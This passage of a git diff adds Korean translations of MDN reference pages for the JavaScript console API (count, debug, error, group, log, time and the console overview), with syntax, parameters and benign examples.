+<pre class="brush: js">let user = "";
+
+function greet() {
+ console.count(user);
+ return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");</pre>
+
+<p>다음과 같이 출력합니다.</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"</pre>
+
+<p>카운터 <code>bob</code>을 초기화해도 <code>alice</code>의 값에는 영향이 없습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#count", "console.countReset()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.countReset")}}</p>
diff --git a/files/ko/web/api/console/debug/index.html b/files/ko/web/api/console/debug/index.html
new file mode 100644
index 0000000000..86a3abbc0d
--- /dev/null
+++ b/files/ko/web/api/console/debug/index.html
@@ -0,0 +1,59 @@
+---
+title: console.debug()
+slug: Web/API/Console/debug
+tags:
+ - API
+ - Method
+ - Reference
+ - console
+translation_of: Web/API/Console/debug
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><strong><code>console.debug()</code></strong> 메서드는 메시지를 "디버그" 중요도로 콘솔에 출력합니다. 디버그 중요도 메시지는 별도 설정 없이는 보이지 않습니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.debug(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력에 사용할 JavaScript 객체. 각각의 문자열 표현을 순서대로 출력합니다.</dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 치환 문자열을 포함하는 JavaScript 문자열.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 매개변수의 치환 문자열에 대입할 JavaScript 객체.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#debug", "console.debug()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.debug")}}</p>
+</div>
diff --git a/files/ko/web/api/console/error/index.html b/files/ko/web/api/console/error/index.html
new file mode 100644
index 0000000000..529632b39e
--- /dev/null
+++ b/files/ko/web/api/console/error/index.html
@@ -0,0 +1,77 @@
+---
+title: Console.error()
+slug: Web/API/Console/error
+tags:
+ - API
+ - DOM
+ - 디버깅
+ - 메소드
+ - 웹 개발
+ - 웹 콘솔
+translation_of: Web/API/Console/error
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>웹 콘솔에 에러 메시지를 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">console.error(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.error(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+console.exception(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.exception(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<div class="note">
+<p><strong>노트:</strong> <code>console.exception()</code>은 <code>console.error()</code>의 별칭입니다. 둘은 기능적으로 동일합니다.</p>
+</div>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력할 JavaScript 객체의 리스트. 각 객체의 문자열 표현은 나열된 순서로 함께 출력됩니다.</dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 하위 문자열을 포함하는 JavaScript 문자열.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 안의 대체할 하위 문자열을 포함하는 JavaScript 객체. 출력 형식에 추가 제어를 할 수 있게 해줍니다.</dd>
+</dl>
+
+<p>자세한 내용은 {{domxref("console")}} 문서의 <a href="/ko/docs/Web/API/console#Outputting_text_to_the_console">콘솔에 텍스트를 출력하기</a>를 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#error", "console.error()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.error")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console#errors_and_warnings">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/group/index.html b/files/ko/web/api/console/group/index.html
new file mode 100644
index 0000000000..a4c4033612
--- /dev/null
+++ b/files/ko/web/api/console/group/index.html
@@ -0,0 +1,83 @@
+---
+title: Console.group()
+slug: Web/API/Console/group
+translation_of: Web/API/Console/group
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><a href="/en-US/docs/Tools/Web_Console">Web Console</a> log 에 새로운 인라인 그룹을 만듭니다. This indents all following output by an additional level, until {{domxref("console.groupEnd()")}} is called.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre>console.group([label]);</pre>
+
+<h2 id="매개변수">매개변수</h2>
+
+<p> </p>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Label for the group. Optional. (Chrome 59 tested) Does not work with <code>console.groupEnd()</code>.</dd>
+</dl>
+
+<p>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</p>
+
+<p>You can use nested groups to help organize your output by visually associating related messages. To create a new nested block, call <code>console.group()</code>. The <code>console.groupCollapsed()</code> method is similar, but the new block is collapsed and requires clicking a disclosure button to read it.</p>
+
+<p><strong>Note:</strong> From Gecko 9 until Gecko 51, the <code>groupCollapsed()</code> method was the same as <code>group()</code>. Collapsed groups are fully supported starting in Gecko 52. See {{bug("1088360")}}.</p>
+
+<p>To exit the current group, call <code>console.groupEnd()</code>. For example, given this code:</p>
+
+<pre><code>console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.log("Back to the outer level");</code></pre>
+
+<p>The output looks like this:</p>
+
+<p><img alt="A screenshot of messages nested in the console output." src="https://developer.mozilla.org/@api/deki/files/6082/=nesting.png"></p>
+
+<p>See <a href="https://developer.mozilla.org/en-US/docs/Web/API/console#Using_groups_in_the_console">Using groups in the console</a> in the documentation of {{domxref("console")}} for more details.</p>
+
+<p> </p>
+
+<h2 id="설명">설명</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#group", "console.group()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p> </p>
+
+<p>{{Compat("api.Console.group")}}</p>
+
+<p> </p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/index.html b/files/ko/web/api/console/index.html
new file mode 100644
index 0000000000..cd815b0979
--- /dev/null
+++ b/files/ko/web/api/console/index.html
@@ -0,0 +1,296 @@
+---
+title: console
+slug: Web/API/Console
+tags:
+ - API
+ - Interface
+ - Reference
+ - console
+ - 콘솔
+translation_of: Web/API/Console
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary"><strong><code>console</code></strong> 객체는 브라우저의 디버깅 콘솔(Firefox <a href="/ko/docs/Tools/Web_Console">웹 콘솔</a> 등)에 접근할 수 있는 메서드를 제공합니다.</span> 동작 방식은 브라우저마다 다르지만, 사실상 표준으로 여겨지는 기능도 여럿 있습니다.</p>
+
+<p><code>console</code> 객체는 아무 전역 객체에서나 접근할 수 있습니다. 브라우징 문맥에선 {{domxref("Window")}}, 워커에서는 {{domxref("WorkerGlobalScope")}}이 속성으로 포함하고 있습니다. {{domxref("Window.console")}}의 형태로 노출되어 있으므로 간단하게 <code>console</code>로 참조할 수 있습니다.</p>
+
+<pre class="brush: js">console.log("링크를 열 수 없습니다")</pre>
+
+<p>이 문서는 콘솔 객체에서 사용할 수 있는 {{anch("메서드")}}와 몇 가지 {{anch("예제")}}를 다룹니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 실제 <code>console</code> 인터페이스는 역사적 이유로 인해 모두 소문자(즉 <code>Console</code>이 아니고 <code>console</code>)입니다.</p>
+</div>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("console.assert()")}}</dt>
+ <dd>첫 번째 매개변수가 <code>false</code>인 경우 메시지와 {{anch("스택 추적")}}을 출력합니다.</dd>
+ <dt>{{domxref("console.clear()")}}</dt>
+ <dd>콘솔의 내용을 지웁니다.</dd>
+ <dt>{{domxref("console.count()")}}</dt>
+ <dd>주어진 레이블로 메서드를 호출한 횟수를 출력합니다.</dd>
+ <dt>{{domxref("console.countReset()")}}</dt>
+ <dd>주어진 라벨의 횟수를 초기화합니다.</dd>
+ <dt>{{domxref("console.debug()")}}</dt>
+ <dd><code>"debug"</code> 중요도로 메시지를 출력합니다.</dd>
+ <dt>{{domxref("console.dir()")}}</dt>
+ <dd>주어진 JavaScript 객체의 속성 목록을 상호작용 가능한 형태로 표시합니다. 속성 값이 다른 객체라면 펼쳐서 살펴볼 수 있습니다.</dd>
+ <dt>{{domxref("console.dirxml()")}}</dt>
+ <dd>
+ <p>객체를 XML/HTML 요소 형태로 나타낼 수 있으면 그렇게 표시하고, 아닐 경우 JavaScript 객체 형태로 표시합니다.</p>
+ </dd>
+ <dt>{{domxref("console.error()")}}</dt>
+ <dd>오류 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.</dd>
+ <dt>{{domxref("console.exception()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd><code>error()</code>의 별칭입니다.</dd>
+ <dt>{{domxref("console.group()")}}</dt>
+ <dd>새로운 인라인 {{anch("그룹")}}을 생성해, 이후 모든 출력을 한 단계 들여씁니다. 그룹을 나오려면 <code>groupEnd()</code>를 호출하세요.</dd>
+ <dt>{{domxref("console.groupCollapsed()")}}</dt>
+ <dd>새로운 인라인 {{anch("그룹")}}을 생성해, 이후 모든 출력을 한 단계 들여씁니다. 그러나 <code>group()</code>과 달리, <code>groupCollapsed()</code>로 생성한 그룹은 처음에 접혀 있습니다. 그룹을 나오려면 groupEnd()를 호출하세요.</dd>
+ <dt>{{domxref("console.groupEnd()")}}</dt>
+ <dd>현재 인라인 {{anch("그룹")}}을 나옵니다.</dd>
+ <dt>{{domxref("console.info()")}}</dt>
+ <dd>정보 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.</dd>
+ <dt>{{domxref("console.log()")}}</dt>
+ <dd>일반 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.</dd>
+ <dt>{{domxref("console.profile()")}}</dt>
+ <dd>브라우저의 내장 프로파일러(<a href="/ko/docs/Tools/Performance">Firefox 성능 측정 도구</a> 등)를 실행합니다. 선택 사항으로 프로파일에 이름을 붙일 수 있습니다.</dd>
+ <dt>{{domxref("console.profileEnd()")}}</dt>
+ <dd>프로파일러를 멈춥니다. 프로파일 결과는 브라우저의 성능 측정 도구(<a href="/ko/docs/Tools/Performance">Firefox 성능 측정 도구</a> 등)에서 확인할 수 있습니다.</dd>
+ <dt>{{domxref("console.table()")}}</dt>
+ <dd>표 형태의 데이터를 표에 그립니다.</dd>
+ <dt>{{domxref("console.time()")}}</dt>
+ <dd>주어진 이름의 {{anch("타이머")}}를 실행합니다. 하나의 페이지에서는 최대 10,000개의 타이머를 동시에 실행할 수 있습니다.</dd>
+ <dt>{{domxref("console.timeEnd()")}}</dt>
+ <dd>지정한 {{anch("타이머")}}를 멈추고, 소요시간을 출력합니다.</dd>
+ <dt>{{domxref("console.timeStamp()")}} {{non-standard_inline}}</dt>
+ <dd>브라우저의 <a href="https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/timeline-tool">타임라인</a>이나 <a href="/ko/docs/Tools/Performance/Waterfall">워터폴</a>에 마커를 추가합니다.</dd>
+ <dt>{{domxref("console.trace()")}}</dt>
+ <dd>{{anch("스택 추적")}}을 출력합니다.</dd>
+ <dt>{{domxref("console.warn()")}}</dt>
+ <dd>경고 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Usage" name="Usage">예제</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">콘솔에 텍스트 출력하기</h3>
+
+<p>콘솔에서 가장 많이 사용하는 기능은 데이터와 텍스트를 출력하는 것입니다. 콘솔 메시지의 중요도는 네 가지로, 각각 {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, {{domxref("console.error()")}} 메서드를 사용해 출력할 수 있습니다. 중요도 별로 출력 스타일이 조금씩 다르며, 중요도 필터를 사용해 원하는 메시지만 골라 볼 수도 있습니다.</p>
+
+<p>각각의 출력 메서드는 두 가지 방법으로 사용할 수 있습니다. 첫 번째는 단순히 객체 목록을 제공하는 것으로, 각자의 문자열 표현이 하나로 합쳐져서 출력됩니다. 두 번째는 치환 문자열을 포함한 문자열 뒤에, 그 자리에 배치할 객체 목록을 제공하는 것입니다.</p>
+
+<h4 id="단일_객체_출력하기">단일 객체 출력하기</h4>
+
+<p>로그를 남기는 가장 간단한 방법은 하나의 객체를 출력하는 것입니다.</p>
+
+<pre class="brush: js">var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>출력은 다음과 같습니다.</p>
+
+<pre>[09:27:13.475] ({str:"Some text", id:5})</pre>
+
+<h4 id="여러_객체_출력하기">여러 객체 출력하기</h4>
+
+<p>여러 객체를 출력하는 방법은 메서드를 호출할 때 모두 나열하면 됩니다.</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);</pre>
+
+<p>출력은 다음과 같습니다.</p>
+
+<pre>[09:28:22.711] My first car was a Dodge Charger. The object is: ({str:"Some text", id:5})
+</pre>
+
+<h4 id="문자열_치환">문자열 치환</h4>
+
+<p><code>log()</code>처럼 문자열을 받는 콘솔 메서드에는 아래의 치환 문자열을 제공할 수 있습니다.</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+ <tr>
+ <td class="header">치환 문자열</td>
+ <td class="header">설명</td>
+ </tr>
+ <tr>
+ <td><code>%o</code> 또는 <code>%O</code></td>
+ <td>JavaScript 객체를 출력합니다. 객체 이름을 클릭하면 검사기에 더 자세한 정보를 보여줍니다.</td>
+ </tr>
+ <tr>
+ <td><code>%d</code> 또는 <code>%i</code></td>
+ <td>정수를 출력합니다. 서식도 지원합니다. 예를 들어 <code>console.log("Foo %.2d", "1.1")</code>은 정수부를 0이 앞서는 두 자리로 표현하므로 <code>Foo 01</code>을 출력합니다.</td>
+ </tr>
+ <tr>
+ <td><code>%s</code></td>
+ <td>문자열을 출력합니다.</td>
+ </tr>
+ <tr>
+ <td><code>%f</code></td>
+ <td>부동소수점 수를 출력합니다. 서식도 지원합니다. 예를 들어 <code>console.log("Foo %.2f", "1.1")</code>은 소수부를 두 자리로 표현하므로 <code>Foo 1.10</code>을 출력합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: Chrome은 숫자 서식을 지원하지 않습니다.</p>
+</div>
+
+<p>각각의 치환 문자열은 이후 매개변수에서 값을 가져옵니다. 예를 들어...</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+ console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+</pre>
+
+<p>위의 출력은 다음과 같습니다.</p>
+
+<pre>[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+</pre>
+
+<h4 id="console_출력_꾸미기"><code>console</code> 출력 꾸미기</h4>
+
+<p><code>"%c"</code> 명령을 사용해 콘솔 출력에 CSS 스타일을 적용할 수 있습니다.</p>
+
+<pre class="brush: js">console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue;padding: 2px");</pre>
+
+<div>명령 이전의 텍스트는 영향을 받지 않고, 이후의 텍스트는 매개변수로 제공한 CSS 선언을 적용합니다.</div>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/12527/CSS-styling.png" style="display: block; margin: 0 auto;"></div>
+
+<div></div>
+
+<p><code>%c</code> 구문과 함께 사용할 수 있는 CSS 속성은 다음과 같습니다. (Firefox 기준, 브라우저마다 다를 수 있음)</p>
+
+<ul>
+ <li>{{cssxref("background")}}와 그 본디 속성.</li>
+ <li>{{cssxref("border")}}와 그 본디 속성.</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("clear")}}, {{cssxref("float")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("font")}}와 그 본디 속성.</li>
+ <li>{{cssxref("line-height")}}</li>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("outline")}}과 그 본디 속성.</li>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("text-transform")}} 등 <code>text-*</code> 속성.</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-spacing")}}, {{cssxref("word-break")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
+
+<div class="note">
+<p><strong>참고</strong>: 콘솔 메시지는 인라인 요소처럼 행동합니다. <code>padding</code>, <code>margin</code>등의 효과를 보려면 <code>display: inline-block</code> 등을 지정해야 합니다.</p>
+</div>
+
+<h3 id="콘솔_그룹_사용하기"><a id="그룹" name="그룹">콘솔 그룹 사용하기</a></h3>
+
+<p>중첩 그룹을 사용하면 서로 관련된 출력 결과를 시각적으로 묶어 정돈할 수 있습니다. 새로운 중첩 블록을 생성하려면 <code>console.group()</code>을 호출하세요. <code>console.groupCollapsed()</code> 메서드도 유사하지만, 대신 새로운 블록을 접힌 채로 생성하므로 내부를 보려면 열어야 합니다.</p>
+
+<p>현재 그룹에서 나가려면 <code>console.groupEnd()</code>를 호출하세요. 예를 들어...</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group("First group");
+console.log("In the first group");
+console.group("Second group");
+console.log("In the second group");
+console.warn("Still in the second group");
+console.groupEnd();
+console.log("Back to the first group");
+console.groupEnd();
+console.debug("Back to the outer level");</pre>
+
+<p>위의 출력은 다음과 같습니다.</p>
+
+<p><img alt="Demo of nested groups in Firefox console" src="https://mdn.mozillademos.org/files/16911/console_groups_demo.png" style="height: 169px; width: 236px;"></p>
+
+<h3 id="타이머">타이머</h3>
+
+<p>특정 작업의 소요시간을 측정할 땐 타이머를 사용할 수 있습니다. 타이머를 시작하려면 <code>console.time()</code> 메서드를 호출하세요. 유일한 매개변수로 타이머의 이름을 제공할 수 있습니다. 타이머를 멈추고, 시작한 후 지난 시간을 알아내려면 <code>console.timeEnd()</code> 메서드를 호출하세요. 역시, 유일한 매개변수로 이전에 사용한 타이머 이름을 제공하면 됩니다.</p>
+
+<p>예를 들어...</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");</pre>
+
+<p>위의 코드는 사용자가 경고 상자를 닫는데 걸린 시간을 기록한 후 출력하고, 두 번째 경고를 닫을 때까지 기다린 후, 총 걸린 시간을 출력합니다.</p>
+
+<p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p>
+
+<p>시작할 때와 끝낼 때 모두 타이머의 이름이 표시됨을 알 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong> 타이머를 네트워크 트래픽 소요시간 측정에 사용하는 경우, 타이머는 총 소요시간을 보여주지만 네트워크 패널에 표시되는 시간은 헤더에 소모한 시간만 나타낸다는 것을 알아야 합니다. 응답 본문 로깅을 활성화한 경우, 응답 헤더와 본문의 시간을 합한 값이 타이머의 콘솔 출력과 비슷해야 합니다.</div>
+
+<h3 id="스택_추적">스택 추적</h3>
+
+<p>콘솔 객체는 스택 추적도 지원합니다. 스택 추적은 {{domxref("console.trace()")}}를 호출하게 된 경로를 보입니다. 예를 들어...</p>
+
+<pre class="brush: js">function foo() {
+ function bar() {
+ console.trace();
+ }
+ bar();
+}
+
+foo();
+</pre>
+
+<p>위 코드의 출력 결과는 다음과 같습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Console API')}}</td>
+ <td>{{Spec2('Console API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Tools" title="Tools">Firefox Developer Tools</a></li>
+ <li><a href="/ko/docs/Tools/Web_Console" title="Web Console">Web Console</a> — how the Web Console in Firefox handles console API calls</li>
+ <li><a href="/ko/docs/Tools/Remote_Debugging">Remote Debugging</a> — how to see console output when the debugging target is a mobile device</li>
+</ul>
+
+<h3 id="다른_구현체">다른 구현체</h3>
+
+<ul>
+ <li><a href="https://developers.google.com/web/tools/chrome-devtools/console/api">Google Chrome DevTools</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide/console/console-api">Microsoft Edge DevTools</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari Web Inspector</a></li>
+</ul>
diff --git a/files/ko/web/api/console/log/index.html b/files/ko/web/api/console/log/index.html
new file mode 100644
index 0000000000..0b67dd2293
--- /dev/null
+++ b/files/ko/web/api/console/log/index.html
@@ -0,0 +1,94 @@
+---
+title: Console.log()
+slug: Web/API/Console/log
+tags:
+ - API
+ - console
+ - console.log()
+ - 메소드
+translation_of: Web/API/Console/log
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Web Console에 메시지를 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="매개_변수">매개 변수</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력할 자바스크립트 객체의 모음입니다. 각각의 자바스크립트 객체들의 문자열 표현은 순서가 있는 목록에 추가되며, 출력됩니다. </dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 치환 문자열(ex:%d, %s)들을 포함하는 자바스크립트 문자열입니다.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 내의 치환 문자열들을 치환할 자바스크립트 객체들입니다. 이것은 추가적인 출력 형식 제어권을 제공합니다.</dd>
+</dl>
+
+<p>자세한 내용은 {{domxref("console")}} 기록 문서에서 <a href="/en-US/docs/DOM/console#Outputting_text_to_the_console">Outputting text to the console</a>을 참조하십시오.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#consolelogobject--object-", "console.log()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.log")}}</p>
+
+<h2 id="console.dir()_과의_차이">console.dir() 과의 차이</h2>
+
+<p>당신은 console.dir() 과 console.log() 가 무엇이 다른지 궁금할 수 있습니다.</p>
+
+<p>DOM 요소들을 콘솔로 보낼 때 Chrome에서 다른 유용한 차이점이 있습니다.</p>
+
+<p><img src="http://i.imgur.com/DozDcYR.png"></p>
+
+<p>안내:</p>
+
+<ul>
+ <li><code>console.log는 요소를 HTML과 같은 트리 구조로 출력합니다.</code></li>
+ <li><code>console.dir은 요소를 JSON과 같은 트리 구조로 출력합니다.</code></li>
+</ul>
+
+<p>구체적으로, console.log는 DOM 요소에 대해 특별한 처리를 제공하지만 console.dir은 그렇지 않습니다. 이것은 종종 DOM JS 객체의 전체 표현을 보려고 할 때 유용합니다.</p>
+
+<p>이것과 다른 함수들에 대한 더 많은 정보가  <a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">Chrome Console API reference</a>에 있습니다.</p>
+
+<h2 id="객체_로깅하기">객체 로깅하기</h2>
+
+<p><code>console.log(obj);</code>를 사용하지 말고 <br>
+ <code>console.log(JSON.parse(JSON.stringify(obj)));</code>를 사용하시기 바랍니다.</p>
+
+<p>이 방법은 여러분이 로그를 남길 당시의 <code>obj</code> 값을 보려고 사용했을겁니다. 그러나 많은 브라우저가 값이 갱신 될때마다 끊임없이 바뀐 값을 보여줍니다. 이는 여러분이 원하는 방법이 아닐겁니다.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug supports additional features in its console.log() implementation, such as <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">styled logging</a>.</li>
+ <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: Console API</a></li>
+</ul>
diff --git a/files/ko/web/api/console/time/index.html b/files/ko/web/api/console/time/index.html
new file mode 100644
index 0000000000..bcb3777ccb
--- /dev/null
+++ b/files/ko/web/api/console/time/index.html
@@ -0,0 +1,56 @@
+---
+title: Console.time()
+slug: Web/API/Console/time
+translation_of: Web/API/Console/time
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>타이머를 시작해 작업이 얼마나 걸리는지 추적할 수 있습니다. 각 타이머에게 고유한 이름을 줄 수 있고, 한 페이지에 최대 10,000개의 타이머를 설정할 수 있습니다. 같은 이름으로 {{domxref("console.timeEnd()")}}를 호출할 때, 브라우저가 밀리초 단위로 경과한 시간을 출력합니다.</p>
+
+<p>자세한 내용과 예제는 {{domxref("console")}} 내의 <a href="/ko/docs/Web/API/console#Timers">타이머</a>를 확인하세요.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">console.time(<em>label</em>);
+</pre>
+
+<h2 id="파라미터">파라미터</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>새 타이머에게 설정할 이름. 타이머를 식별합니다. 같은 이름으로 {{domxref("console.timeEnd()")}}를 호출하면 타이머가 중단되고 콘솔에 시간을 출력합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
